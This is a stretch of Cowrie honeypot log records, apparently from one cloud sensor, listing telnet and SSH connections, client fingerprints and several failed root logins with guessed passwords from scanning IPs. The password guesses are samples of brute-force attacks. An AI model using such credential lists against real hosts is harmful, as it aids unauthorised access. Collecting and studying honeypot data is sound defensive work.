{"eventid":"cowrie.session.closed","duration":39.59364938735962,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:01.724507Z","src_ip":"192.119.13.58","session":"7beade30ddab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52160,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c73b258e9af","protocol":"telnet","message":"New connection: 192.119.13.58:52160 (10.17.0.5:23) [session: 3c73b258e9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:02.165046Z"}
{"eventid":"cowrie.session.closed","duration":33.35142970085144,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:05.176700Z","src_ip":"192.119.13.58","session":"6da41641454a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":48208,"dst_ip":"159.203.135.109","dst_port":22,"session":"6893f52043ed","protocol":"ssh","message":"New connection: 103.75.183.219:48208 (159.203.135.109:22) [session: 6893f52043ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:06.869299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:06.874341Z","src_ip":"103.75.183.219","session":"6893f52043ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:07.121492Z","src_ip":"103.75.183.219","session":"6893f52043ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19831983","message":"login attempt [root/19831983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:07.860792Z","src_ip":"103.75.183.219","session":"6893f52043ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:09.115352Z","src_ip":"103.75.183.219","session":"6893f52043ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48286,"dst_ip":"10.17.0.5","dst_port":23,"session":"6105fc9e6cac","protocol":"telnet","message":"New connection: 192.119.13.58:48286 (10.17.0.5:23) [session: 6105fc9e6cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:16.954621Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":60402,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff179066a4a7","protocol":"telnet","message":"New connection: 186.195.16.41:60402 (159.203.135.109:23) [session: ff179066a4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:17.067192Z"}
{"eventid":"cowrie.session.closed","duration":40.1054425239563,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:20.122991Z","src_ip":"192.119.13.58","session":"ccfd4f7a4bce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34670,"dst_ip":"10.17.0.5","dst_port":23,"session":"547dbb523161","protocol":"telnet","message":"New connection: 192.119.13.58:34670 (10.17.0.5:23) [session: 547dbb523161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:20.833394Z"}
{"eventid":"cowrie.session.closed","duration":39.157097816467285,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:21.932960Z","src_ip":"192.119.13.58","session":"cc1e988bd3ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.98444700241089,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:22.046592Z","src_ip":"192.119.13.58","session":"26a48e1a8b2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.842655658721924,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:25.526330Z","src_ip":"192.119.13.58","session":"e4af18da5374","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33132,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7163458ce7a","protocol":"telnet","message":"New connection: 192.119.13.58:33132 (10.17.0.5:23) [session: d7163458ce7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:28.095272Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35578,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa53d7d1847e","protocol":"telnet","message":"New connection: 192.119.13.58:35578 (10.17.0.5:23) [session: aa53d7d1847e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:28.658320Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7a8787e9998","protocol":"telnet","message":"New connection: 192.119.13.58:50298 (10.17.0.5:23) [session: b7a8787e9998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:32.501230Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":60006,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cca8f8a5f19","protocol":"ssh","message":"New connection: 43.156.97.164:60006 (159.203.135.109:22) [session: 6cca8f8a5f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:33.124135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:33.129328Z","src_ip":"43.156.97.164","session":"6cca8f8a5f19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:33.368279Z","src_ip":"43.156.97.164","session":"6cca8f8a5f19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.227.189","src_port":58244,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b341a19f4e2","protocol":"ssh","message":"New connection: 14.224.227.189:58244 (159.203.135.109:22) [session: 8b341a19f4e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:33.513594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:33.518543Z","src_ip":"14.224.227.189","session":"8b341a19f4e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:33.757135Z","src_ip":"14.224.227.189","session":"8b341a19f4e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RPM","message":"login attempt [root/RPM] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:34.353741Z","src_ip":"43.156.97.164","session":"6cca8f8a5f19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa55w0rd","message":"login attempt [root/Pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:34.747604Z","src_ip":"14.224.227.189","session":"8b341a19f4e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.118698596954346,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:35.213905Z","src_ip":"192.119.13.58","session":"d7163458ce7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:35.595367Z","src_ip":"43.156.97.164","session":"6cca8f8a5f19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:35.990164Z","src_ip":"14.224.227.189","session":"8b341a19f4e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33736,"dst_ip":"10.17.0.5","dst_port":23,"session":"69f8f38f22aa","protocol":"telnet","message":"New connection: 192.119.13.58:33736 (10.17.0.5:23) [session: 69f8f38f22aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:42.966624Z"}
{"eventid":"cowrie.session.closed","duration":44.92825388908386,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:47.093189Z","src_ip":"192.119.13.58","session":"3c73b258e9af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88290095329285,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:49.837411Z","src_ip":"192.119.13.58","session":"6105fc9e6cac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":41122,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a9af9e5a01c","protocol":"ssh","message":"New connection: 41.242.115.83:41122 (159.203.135.109:22) [session: 4a9af9e5a01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:53.464537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:53.469580Z","src_ip":"41.242.115.83","session":"4a9af9e5a01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:53.667604Z","src_ip":"41.242.115.83","session":"4a9af9e5a01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49420,"dst_ip":"10.17.0.5","dst_port":23,"session":"5be5f9a453bd","protocol":"telnet","message":"New connection: 192.119.13.58:49420 (10.17.0.5:23) [session: 5be5f9a453bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:54.459563Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"sih","message":"login attempt [root/sih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:54.488968Z","src_ip":"41.242.115.83","session":"4a9af9e5a01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:55.690617Z","src_ip":"41.242.115.83","session":"4a9af9e5a01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.14093518257141,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:56.974220Z","src_ip":"192.119.13.58","session":"547dbb523161","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.2730326652526855,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:06:57.732474Z","src_ip":"192.119.13.58","session":"5be5f9a453bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.941248178482056,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:02.008318Z","src_ip":"186.195.16.41","session":"ff179066a4a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52660,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae6e97e2b7a","protocol":"telnet","message":"New connection: 192.119.13.58:52660 (10.17.0.5:23) [session: 6ae6e97e2b7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:02.281112Z"}
{"eventid":"cowrie.session.closed","duration":39.412190437316895,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:08.070390Z","src_ip":"192.119.13.58","session":"aa53d7d1847e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43154,"dst_ip":"10.17.0.5","dst_port":23,"session":"43948935ae46","protocol":"telnet","message":"New connection: 192.119.13.58:43154 (10.17.0.5:23) [session: 43948935ae46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:14.136018Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52682,"dst_ip":"10.17.0.5","dst_port":23,"session":"030f15a81a46","protocol":"telnet","message":"New connection: 192.119.13.58:52682 (10.17.0.5:23) [session: 030f15a81a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:16.614401Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41796,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeae985a75ec","protocol":"telnet","message":"New connection: 192.119.13.58:41796 (10.17.0.5:23) [session: eeae985a75ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:20.987314Z"}
{"eventid":"cowrie.session.closed","duration":43.2886688709259,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:26.255189Z","src_ip":"192.119.13.58","session":"69f8f38f22aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.30770540237427,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:28.808815Z","src_ip":"192.119.13.58","session":"b7a8787e9998","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55082,"dst_ip":"10.17.0.5","dst_port":23,"session":"3292ed029443","protocol":"telnet","message":"New connection: 192.119.13.58:55082 (10.17.0.5:23) [session: 3292ed029443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:31.261546Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":40374,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b98bef286f6","protocol":"ssh","message":"New connection: 103.98.149.87:40374 (159.203.135.109:22) [session: 6b98bef286f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:39.540603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:39.604616Z","src_ip":"103.98.149.87","session":"6b98bef286f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:39.834967Z","src_ip":"103.98.149.87","session":"6b98bef286f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"007007","message":"login attempt [root/007007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:40.869240Z","src_ip":"103.98.149.87","session":"6b98bef286f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:42.186985Z","src_ip":"103.98.149.87","session":"6b98bef286f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.27247381210327,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:42.553439Z","src_ip":"192.119.13.58","session":"6ae6e97e2b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51562,"dst_ip":"10.17.0.5","dst_port":23,"session":"efef17ba4f25","protocol":"telnet","message":"New connection: 192.119.13.58:51562 (10.17.0.5:23) [session: efef17ba4f25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:44.211758Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37924,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfdacdb3bff6","protocol":"telnet","message":"New connection: 192.119.13.58:37924 (10.17.0.5:23) [session: dfdacdb3bff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:47.731183Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41554,"dst_ip":"10.17.0.5","dst_port":23,"session":"64441422de79","protocol":"telnet","message":"New connection: 192.119.13.58:41554 (10.17.0.5:23) [session: 64441422de79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:48.507777Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":34562,"dst_ip":"159.203.135.109","dst_port":22,"session":"62e863435021","protocol":"ssh","message":"New connection: 43.156.97.164:34562 (159.203.135.109:22) [session: 62e863435021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:07:49.567862Z"}
